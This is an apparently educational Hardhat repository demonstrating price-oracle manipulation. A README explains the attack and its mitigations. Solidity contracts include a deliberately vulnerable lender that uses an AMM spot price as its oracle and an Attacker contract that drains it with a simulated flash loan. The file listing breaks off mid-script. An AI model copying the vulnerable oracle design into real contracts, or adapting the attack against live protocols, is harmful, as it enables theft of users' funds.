├── .gitignore ├── README.md ├── contracts ├── Attacker.sol ├── SimpleAMM.sol ├── SimpleLender.sol ├── TestUSDC.sol └── interfaces │ ├── IERC20.sol │ ├── ISimpleAMM.sol │ └── ISimpleLender.sol ├── hardhat.config.js ├── package-lock.json ├── package.json ├── scripts └── sample-script.js └── test ├── OracleAttack.test.js └── utils.js /.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | coverage 4 | coverage.json 5 | typechain 6 | 7 | #Hardhat files 8 | cache 9 | artifacts 10 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Oracle manipulation 2 | 3 | This repo explores price oracle manipulation, a common attack vector in DeFi protocols. This is for educational purposes only and comes with no warranties or guarantees, and should not be used in production, maliciously or otherwise. 4 | 5 | ## Context 6 | 7 | Oracle manipulation is a fairly common attack vector in DeFi that has resulted in a few high profile exploits. The issue stems from using an AMM liquidity pool as a price oracle by dividing the number of tokens on each side of the pool to determine the spot exchange rate. For example: an AMM liquidity pool with 1 ETH and 3000 USDC results in a spot price of $3000 USDC per 1 ETH. 8 | 9 | This kind of naive price oracle is vulnerable to manipulation (especially if used with a shallow liquidity pool) and can be exploited by bad actors changing the oracle's spot price in their favor by making large trades, leading to a variety of creative exploits smart contracts that rely on the oracle for important operations. Flash loans facilitate these these kinds of attacks as they make it accessible to entities without a large pool of capital. 10 | 11 | These articles go through some examples of real DeFi attacks related to price oracle manipulation: 12 | 13 | - https://hackernoon.com/how-dollar100m-got-stolen-from-defi-in-2021-price-oracle-manipulation-and-flash-loan-attacks-explained-3n6q33r1 14 | - https://medium.com/meter-io/the-bzx-attacks-what-went-wrong-and-the-role-oracles-played-in-the-exploits-264619b9597d 15 | 16 | ## Details 17 | 18 | These contracts aim to illustrate a theoretical example of how such a price oracle can be manipulated to drain a lending protocol. A simple implementation of an AMM and a lending protocol is used in the demonstration, and the use of a flash loan is simulated. The input and initialization values are arbitrary and serve only as a proof of concept, and in practice there are a lot more limitations such as borrowing limits, fees, etc. 19 | 20 | Setup: 21 | 22 | - Simple ETH/USDC AMM liquidity pool 23 | - Initialized with 1 ETH and 3000 USDC, implying a price of $3000/ETH 24 | - Basic lending protocol 25 | - Accepts USDC deposits and lends ETH based on a collateralization ratio of 0.8 26 | - Uses a (vulnerable) price oracle that retrieves the USDC/ETH price based on the above AMM pool 27 | - Initialized with 5 ETH as reserves 28 | 29 | Execution: 30 | 31 | 1. Flash loan 2 ETH 32 | 2. Swap 2 ETH for USDC in AMM (receive 2000 USDC) 33 | 3. Deposit 2000 USDC into lending protocol 34 | 4. Borrow max amount of ETH against deposited USDC (4.8 ETH) 35 | 5. Repay flash loan of 2 ETH and keep profits (2.8 ETH) 36 | 37 | Why it works: 38 | 39 | The naive use of an AMM pool as a price oracle is essentially a centralized oracle that is vulnerable to manipulation, even if the AMM itself is decentralized. 40 | 41 | The swap in step 2 significantly impacts the ratio between the tokens in the pool as it is a relatively large trade on a pool with very shallow liquidity, and consequently affects the relativel price of the token returned by the oracle. After the swap, the pool contains 3 ETH and 1000 USDC, resulting in a spot price of 1 ETH = 1000/3 USDC = $333 per ETH. 42 | 43 | When borrowing ETH against USDC as collateral, at $3000 per ETH you should only be able to borrow 0.8 _ $2000 worth of ETH = 0.8 _ ($2000 / $3000) = 0.528 ETH. However, since the lending protocol's price oracle returns ~$333 per ETH as per the manipulated AMM pool reserves, it lets you borrow up to 0.8 \* ($2000 / $333) = 4.8 ETH. 44 | 45 | The attack pattern is illustrated in `test/OracleAttack.test.js`, which runs through the steps to execute the attack in mulitple separate transactions for step-by-step explanations, as well as all in one transaction through `Attacker.sol`. 46 | 47 | ## Mitigation 48 | 49 | A common approach to avoid these kinds of centralized points of vulnerability is to use a decentralized price oracle that employs some kind of averaging across several (deep liquidity) pools to determine the true price. This is much harder to manipulate as it is financially practically impossible to source enough funds to be able to significantly change the price of multiple pools, especially those which have deeper liquidity. 50 | 51 | Another approach is to use time-weighted average price (TWAP) oracles which take the average price of the asset over a specified period of time, reducing the risk of single-transaction flash loan attacks but sacrifices some degree of accuracy during periods of high volatility. It is harder, though still possible, to manipulate these mechanisms across multiple blocks. 52 | -------------------------------------------------------------------------------- /contracts/Attacker.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.13; 3 | import "./interfaces/IERC20.sol"; 4 | import "./interfaces/ISimpleAMM.sol"; 5 | import "./interfaces/ISimpleLender.sol"; 6 | 7 | import "hardhat/console.sol"; 8 | 9 | contract Attacker { 10 | function executeAttack( 11 | address amm, 12 | address usdc, 13 | address lender 14 | ) external payable { 15 | // make function payable to simulate flash loan of 2 ETH from caller 16 | require(address(this).balance >= 2e18, "not enough funds"); 17 | 18 | // swap 2 ETH for USDC in AMM 19 | uint256 usdcReceived = ISimpleAMM(amm).swap{value: msg.value}( 20 | address(0), 21 | msg.value 22 | ); 23 | 24 | // deposit USDC into lender 25 | IERC20(usdc).approve(lender, usdcReceived); 26 | ILender(lender).depositUSDC(usdcReceived); 27 | 28 | // borrow max ETH amount from lender 29 | uint256 amount = ILender(lender).maxBorrowAmount(); 30 | ILender(lender).borrowETH(amount); 31 | 32 | // repay 'flash loan' amount (2 ETH) to caller 33 | (bool success, ) = msg.sender.call{value: msg.value}(new bytes(0)); 34 | require(success, "Failed to transfer ETH"); 35 | } 36 | 37 | receive() external payable {} 38 | } 39 | -------------------------------------------------------------------------------- /contracts/SimpleAMM.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.13; 3 | import "./interfaces/IERC20.sol"; 4 | 5 | contract SimpleAMM { 6 | address public USDCAddress; 7 | 8 | constructor(address USDC) { 9 | USDCAddress = USDC; 10 | } 11 | 12 | function balanceETH() public view returns (uint256) { 13 | return address(this).balance; 14 | } 15 | 16 | function balanceUSDC() public view returns (uint256) { 17 | return IERC20(USDCAddress).balanceOf(address(this)); 18 | } 19 | 20 | function priceUSDCETH() external view returns (uint256) { 21 | return ((balanceETH() * 1e18) / balanceUSDC()); // assume 18 decimals 22 | } 23 | 24 | function priceETHUSDC() external view returns (uint256) { 25 | return (balanceUSDC() / balanceETH()) * 1e18; // assume 18 decimals 26 | } 27 | 28 | function getEstimatedEthForUSDC(uint256 amountFrom) 29 | public 30 | view 31 | returns (uint256) 32 | { 33 | return (balanceETH() * amountFrom) / (balanceUSDC() + amountFrom); 34 | } 35 | 36 | function getEstimatedUSDCForEth(uint256 amountFrom) 37 | public 38 | view 39 | returns (uint256) 40 | { 41 | return (balanceUSDC() * amountFrom) / (balanceETH() + amountFrom); 42 | } 43 | 44 | function swap(address fromToken, uint256 amountFrom) 45 | external 46 | payable 47 | returns (uint256) 48 | { 49 | uint256 ethBalance = balanceETH(); 50 | uint256 usdcBalance = balanceUSDC(); 51 | 52 | uint256 toAmount; 53 | if (fromToken == USDCAddress) { 54 | toAmount = (ethBalance * amountFrom) / (usdcBalance + amountFrom); 55 | IERC20(USDCAddress).transferFrom( 56 | msg.sender, 57 | address(this), 58 | amountFrom 59 | ); 60 | (bool success, ) = msg.sender.call{value: toAmount}(new bytes(0)); 61 | require(success, "Failed to transfer ETH"); 62 | } else { 63 | toAmount = (usdcBalance * amountFrom) / (ethBalance); // ethBalance already includes amountFrom 64 | require( 65 | msg.value == amountFrom, 66 | "amountFrom does not match eth sent" 67 | ); 68 | IERC20(USDCAddress).transfer(msg.sender, toAmount); 69 | } 70 | return toAmount; 71 | } 72 | 73 | receive() external payable {} 74 | } 75 | -------------------------------------------------------------------------------- /contracts/SimpleLender.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.13; 3 | import "./interfaces/IERC20.sol"; 4 | import "./interfaces/ISimpleAMM.sol"; 5 | 6 | contract SimpleLender { 7 | address public USDCAddress; 8 | address public ammAddress; 9 | uint16 public collateralizationRatio; 10 | mapping(address => uint256) public USDCdeposits; 11 | 12 | constructor( 13 | address usdc, 14 | address amm, 15 | uint16 collat 16 | ) { 17 | USDCAddress = usdc; 18 | ammAddress = amm; 19 | collateralizationRatio = collat; // in basis points 20 | } 21 | 22 | function depositUSDC(uint256 amount) external { 23 | IERC20(USDCAddress).transferFrom(msg.sender, address(this), amount); 24 | USDCdeposits[msg.sender] += amount; 25 | } 26 | 27 | function getPriceUSDCETH() public view returns (uint256) { 28 | // (Vulnerable) External call to AMM used as price oracle 29 | return ISimpleAMM(ammAddress).priceUSDCETH(); 30 | } 31 | 32 | function maxBorrowAmount() public view returns (uint256) { 33 | // Does not take into consideration any exisitng borrows (collateral already used) 34 | uint256 depositedUSDC = USDCdeposits[msg.sender]; 35 | uint256 equivalentEthValue = (depositedUSDC * getPriceUSDCETH()) / 1e18; 36 | // Max borrow amount = (collateralizationRatio/10000) * eth value of deposited USDC 37 | return (equivalentEthValue * collateralizationRatio) / 10000; 38 | } 39 | 40 | function borrowETH(uint256 amount) external { 41 | // Does not take into consideration any exisitng borrows 42 | require( 43 | amount <= maxBorrowAmount(), 44 | "amount exceeds max borrow amount" 45 | ); 46 | (bool success, ) = msg.sender.call{value: amount}(new bytes(0)); 47 | require(success, "Failed to transfer ETH"); 48 | } 49 | 50 | receive() external payable {} 51 | } 52 | -------------------------------------------------------------------------------- /contracts/TestUSDC.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.13; 4 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; 5 | 6 | contract TestUSDC is ERC20 { 7 | constructor(string memory _name, string memory _symbol) 8 | ERC20(_name, _symbol) 9 | {} 10 | 11 | function mint(address receiver, uint256 amount) external { 12 | _mint(receiver, amount); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /contracts/interfaces/IERC20.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v4.6.0) (token/ERC20/IERC20.sol) 3 | 4 | pragma solidity ^0.8.0; 5 | 6 | /** 7 | * @dev Interface of the ERC20 standard as defined in the EIP. 8 | */ 9 | interface IERC20 { 10 | /** 11 | * @dev Emitted when `value` tokens are moved from one account (`from`) to 12 | * another (`to`). 13 | * 14 | * Note that `value` may be zero. 15 | */ 16 | event Transfer(address indexed from, address indexed to, uint256 value); 17 | 18 | /** 19 | * @dev Emitted when the allowance of a `spender` for an `owner` is set by 20 | * a call to {approve}. `value` is the new allowance. 21 | */ 22 | event Approval( 23 | address indexed owner, 24 | address indexed spender, 25 | uint256 value 26 | ); 27 | 28 | /** 29 | * @dev Returns the amount of tokens in existence. 30 | */ 31 | function totalSupply() external view returns (uint256); 32 | 33 | /** 34 | * @dev Returns the amount of tokens owned by `account`. 35 | */ 36 | function balanceOf(address account) external view returns (uint256); 37 | 38 | /** 39 | * @dev Moves `amount` tokens from the caller's account to `to`. 40 | * 41 | * Returns a boolean value indicating whether the operation succeeded. 42 | * 43 | * Emits a {Transfer} event. 44 | */ 45 | function transfer(address to, uint256 amount) external returns (bool); 46 | 47 | /** 48 | * @dev Returns the remaining number of tokens that `spender` will be 49 | * allowed to spend on behalf of `owner` through {transferFrom}. This is 50 | * zero by default. 51 | * 52 | * This value changes when {approve} or {transferFrom} are called. 53 | */ 54 | function allowance(address owner, address spender) 55 | external 56 | view 57 | returns (uint256); 58 | 59 | /** 60 | * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. 61 | * 62 | * Returns a boolean value indicating whether the operation succeeded. 63 | * 64 | * IMPORTANT: Beware that changing an allowance with this method brings the risk 65 | * that someone may use both the old and the new allowance by unfortunate 66 | * transaction ordering. One possible solution to mitigate this race 67 | * condition is to first reduce the spender's allowance to 0 and set the 68 | * desired value afterwards: 69 | * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 70 | * 71 | * Emits an {Approval} event. 72 | */ 73 | function approve(address spender, uint256 amount) external returns (bool); 74 | 75 | /** 76 | * @dev Moves `amount` tokens from `from` to `to` using the 77 | * allowance mechanism. `amount` is then deducted from the caller's 78 | * allowance. 79 | * 80 | * Returns a boolean value indicating whether the operation succeeded. 81 | * 82 | * Emits a {Transfer} event. 83 | */ 84 | function transferFrom( 85 | address from, 86 | address to, 87 | uint256 amount 88 | ) external returns (bool); 89 | } 90 | -------------------------------------------------------------------------------- /contracts/interfaces/ISimpleAMM.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.13; 3 | 4 | interface ISimpleAMM { 5 | function balanceETH() external view returns (uint256); 6 | 7 | function balanceUSDC() external view returns (uint256); 8 | 9 | function priceUSDCETH() external view returns (uint256); 10 | 11 | function priceETHUSDC() external view returns (uint256); 12 | 13 | function getEstimatedEthForUSDC(uint256 amountFrom) 14 | external 15 | view 16 | returns (uint256); 17 | 18 | function getEstimatedUSDCForEth(uint256 amountFrom) 19 | external 20 | view 21 | returns (uint256); 22 | 23 | function swap(address fromToken, uint256 amountFrom) 24 | external 25 | payable 26 | returns (uint256); 27 | } 28 | -------------------------------------------------------------------------------- /contracts/interfaces/ISimpleLender.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.13; 3 | 4 | interface ILender { 5 | function depositUSDC(uint256 amount) external; 6 | 7 | function getPriceUSDCETH() external view returns (uint256); 8 | 9 | function maxBorrowAmount() external view returns (uint256); 10 | 11 | function borrowETH(uint256 amount) external; 12 | } 13 | -------------------------------------------------------------------------------- /hardhat.config.js: -------------------------------------------------------------------------------- 1 | require("@nomiclabs/hardhat-waffle"); 2 | 3 | // This is a sample Hardhat task. To learn how to create your own go to 4 | // https://hardhat.org/guides/create-task.html 5 | task("accounts", "Prints the list of accounts", async (taskArgs, hre) => { 6 | const accounts = await hre.ethers.getSigners(); 7 | 8 | for (const account of accounts) { 9 | console.log(account.address); 10 | } 11 | }); 12 | 13 | // You need to export an object to set up your config 14 | // Go to https://hardhat.org/config/ to learn more 15 | 16 | /** 17 | * @type import('hardhat/config').HardhatUserConfig 18 | */ 19 | module.exports = { 20 | solidity: "0.8.13", 21 | }; 22 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "oracle-attacks", 3 | "version": "1.0.0", 4 | "description": "", 5 | "main": "index.js", 6 | "scripts": { 7 | "test": "npx hardhat test" 8 | }, 9 | "author": "", 10 | "license": "ISC", 11 | "dependencies": { 12 | "@openzeppelin/contracts": "^4.6.0", 13 | "hardhat": "^2.9.3" 14 | }, 15 | "devDependencies": { 16 | "@nomiclabs/hardhat-ethers": "^2.0.5", 17 | "@nomiclabs/hardhat-waffle": "^2.0.3", 18 | "chai": "^4.3.6", 19 | "ethereum-waffle": "^3.4.4", 20 | "ethers": "^5.6.5" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /scripts/sample-script.js: -------------------------------------------------------------------------------- 1 | // We require the Hardhat Runtime Environment explicitly here. This is optional 2 | // but useful for running the script in a standalone fashion through `node